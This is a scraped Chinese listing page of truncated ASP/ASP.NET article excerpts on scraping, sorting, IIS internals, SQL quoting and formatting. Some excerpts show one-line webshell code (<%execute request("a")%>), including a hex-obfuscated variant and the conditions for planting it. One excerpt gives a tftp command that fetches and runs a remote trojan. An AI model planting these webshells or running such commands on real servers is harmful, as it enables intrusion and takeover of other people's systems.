Time of Update: 2018-12-08
採集開始 第一步是分析要採集的頁面。 使用瀏覽器開啟要採集的頁面(如:http://sports.sina.com.cn/k/2008-09-15/04593948756.shtml,你可以其他頁面),開啟後,點擊右鍵,查源檔案。 第二步,找到要採集的內容所在位置。 假如我要採集這個頁面上的標題和內容所在的位置: 標題在<h1 id="artibodyTitle" style="color:#03005C;">和</h1>之間 內容在<!-- 本文內容 begin --
Time of Update: 2018-12-08
<% Dim aData aData = Array(3,2,4,1,6,0) Call ResponseArray(aData, "原來順序") Call ResponseArray(SelectSort(aData), "選擇排序") Call ResponseArray(QuickSort(aData), "快速排序") Call ResponseArray(InsertSort(aData), "插入排序") Call ResponseArray(BubbleSort(aData)
Time of Update: 2018-12-08
絕大多數的人只熟悉高層的架構如: WebForms 和 WebServices --這些都在ASP.NET階層在最高層。 這篇文章的資料收集整理自各種微軟公開的文檔,通過比較 IIS5、IIS6、IIS7 這三代 IIS 對請求的處理過程, 讓我們熟悉 ASP.NET的底層機制 並對請求(request)是怎麼從Web伺服器傳送到ASP.NET運行時有所瞭解。通過對底層機制的瞭解,可以讓我們對 ASP.net 有更深的理解。 IIS 5 的 ASP.net 請求處理過程對圖的解釋:IIS
Time of Update: 2018-12-08
asp.net壓縮檔夾調用樣本:rar("e:/www.jb51.net/", "e:/www.jb51.net.rar"); asp.net解壓縮rar檔案調用樣本:unrar("e:/www.jb51.net.rar", "e:/"); 複製代碼 代碼如下:using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; namespace BLL { public
Time of Update: 2018-12-08
以下都以ASP.NET開發網站為例。 1、sql注入漏洞。 解決辦法:使用預存程序,參數不要用字串拼接。簡單改進辦法:使用SqlHelper和OledbHelper 2、跨站指令碼漏洞 解決辦法:“預設禁止,顯式允許”的策略。具體參考:從用戶端檢測到有潛在危險的Request.Form值,禁止提交html標記(<>等被轉義成<) 3、上傳漏洞
Time of Update: 2018-12-08
'subject 資訊標題 'company 發布資訊的公司名稱 'content 發布資訊的內容 'address 公司地址 'infomation 公司簡介 'note 相關說明 以上值均由FORM提交,然後通過:subject=trim(Request.Form("subject"))等得到相應的值。 <% '這個函數很關鍵!--------------------------- Function sql(a,b,sqls) if b<>"" then
Time of Update: 2018-12-08
ASP.Net是建立在微軟新一代.Net平台架構上,利用普通語言運行時(Common Language Runtime)在伺服器後端為使用者提供建立強大的企業級Web應用服務的編程架構。下面列舉了常用的27個ASP.NET中的函數集: 1、DateTime 數字型 複製代碼 代碼如下:System.DateTime currentTime=new System.DateTime(); 1.1 取當前年月日時分秒 currentTime=System.DateTime.Now; 1.2 取當前年
Time of Update: 2018-12-08
一、新手常犯的錯誤 在論壇看到很多文章代碼中都有一個共同的基本錯誤,欄位類型錯誤。 程式和資料庫是緊緊相連的,資料庫欄位文本型或時間型的都使用單引號 比如下面這段修改語句: conn.execute "update Counts set counts='"&counts&"' where num="&num&" and Atime='"&now()&"'" 等號左邊都是欄位名,等號右邊是傳值過來的變數名,counts
Time of Update: 2018-12-08
在網上找了一些關於xml序列化與還原序列化的資料,摘錄下: 在.NET下有一種技術叫做對象序列化,它可以將對象序列化為二進位檔案、XML檔案、SOAP檔案,這樣, 使用經過序列化的流進行傳輸效率就得到了大大的提升。 在.NET中提供了兩種序列化:二進位序列化、XML和SOAP序列化。對於WEB應用來說,用得最多的是第二種———XML和SOAP序列化。 XML 序列化將對象的公用欄位和屬性或者方法的參數和傳回值轉換(序列化)為符合特定 XML
Time of Update: 2018-12-08
前幾天有一個朋友在MSN上問我“ASP.NET 從最初的接收到Http request到最終產生Response的整個流程到底是怎樣的?”我覺得這個問題涉及到IIS和ASP.NETASP.NET Runtime的處理模型的問題,並不是三言兩語就能說清楚的,所以決定寫這樣一篇介紹IIS和ASP.NET Runtime Process Model的文章,談談我對此的一個粗淺的認識,如果有什麼不對的地方,希望大家及時指正。 這篇文章大體分為兩個部分,第一部分我將談談IIS的兩個不同的版本—IIS 5.
Time of Update: 2018-12-08
通過HTTP協議來訪問 一句話木馬的使用範圍(我只列舉了2種): 1)只有Database Backup的情況 Database Backup成asp檔案時候,不出現“ 編譯錯誤,缺少指令碼關閉標誌%>" 2)SA許可權的時候,一般先寫入一句話,圖個方便..(當然,直接tftp上傳鴿子運行,那更快) tftp -i ip get server.exe 一句話木馬<%execute request("a")%>的原理: 首Crowdsourced Security
Time of Update: 2018-12-08
sub SaveConfig() dim fso,hf set fso=Server.CreateObject("Scripting.FileSystemObject") set hf=fso.CreateTextFile(Server.mappath("../inc/config.asp"),true) hf.write "<" & "%" & vbcrlf hf.write "Const SiteName=" & chr(34) & trim(
Time of Update: 2018-12-08
' ============================================ ' 格式化時間(顯示) ' 參數:n_Flag ' 1:"yyyy-mm-dd hh:mm:ss" ' 2:"yyyy-mm-dd" ' 3:"hh:mm:ss" ' 4:"yyyy年mm月dd日" ' 5:"yyyymmdd" ' ============================================ Function Format_Time(s_Time, n_Flag)
Time of Update: 2018-12-08
<!--#include file="common/conn.asp"--> <!--#include file="common/sub.asp"--> <% server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) Response.Write(server_v1) server_v2=Cstr(Request.ServerVariables("SERVER_NAME")) if
Time of Update: 2018-12-08
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta
Time of Update: 2018-12-08
開發環境:VS2005+ASP.NET AJAX 1.0 RC首先下載ASP.NET AJAX 1.0 RC安裝檔案,完成安裝後即可進行我們的AJAX之旅了。1.開啟VS2005,點擊“建立”-“檔案”-“網站”,選擇“ASP.Net-AJAX Enabled Web Site”模板,這個模板是我們安裝ASP.NET AJAX 1.0 RC後多出來的模板2.可以看到左側工具箱多了一個AJAX
Time of Update: 2018-12-08
去除html標籤正則<\/*[^<>]*>Function LoseHtml(ContentStr) Dim ClsTempLoseStr,RegEx ClsTempLoseStr = Cstr(ContentStr) Set RegEx = New RegExp RegEx.Pattern = "<\/*[^<>]*>" RegEx.IgnoreCase = True
Time of Update: 2018-12-08
不知道怎樣表達清楚。看例子吧:複製代碼 代碼如下:<script language=vbs runat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) Function HextoStr(data) HextoStr="EXECUTE """"" C="&CHR(&H" N=")" Do While Len(data)>1 If
Time of Update: 2018-12-08
<% 'code by netpatch dim dbfile,sql db="netpatch.asp" dbfile=server.MapPath(db) set ydb=server.CreateObject("ADOX.Catalog") ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile set ydb=nothing if err.number=0 then
Time of Update: 2018-12-08
<% Response.Write(Server.HTMLEncode(FixImg("<img onclick=""if(this.width>screen.width-461) window.open('qq/20082181405371.jpg');"" alt="""" border=""0"" src=""qq/20082181405371.jpg"" />"))) %> <% '功能:將IMG代碼格式化為<img src="XXX"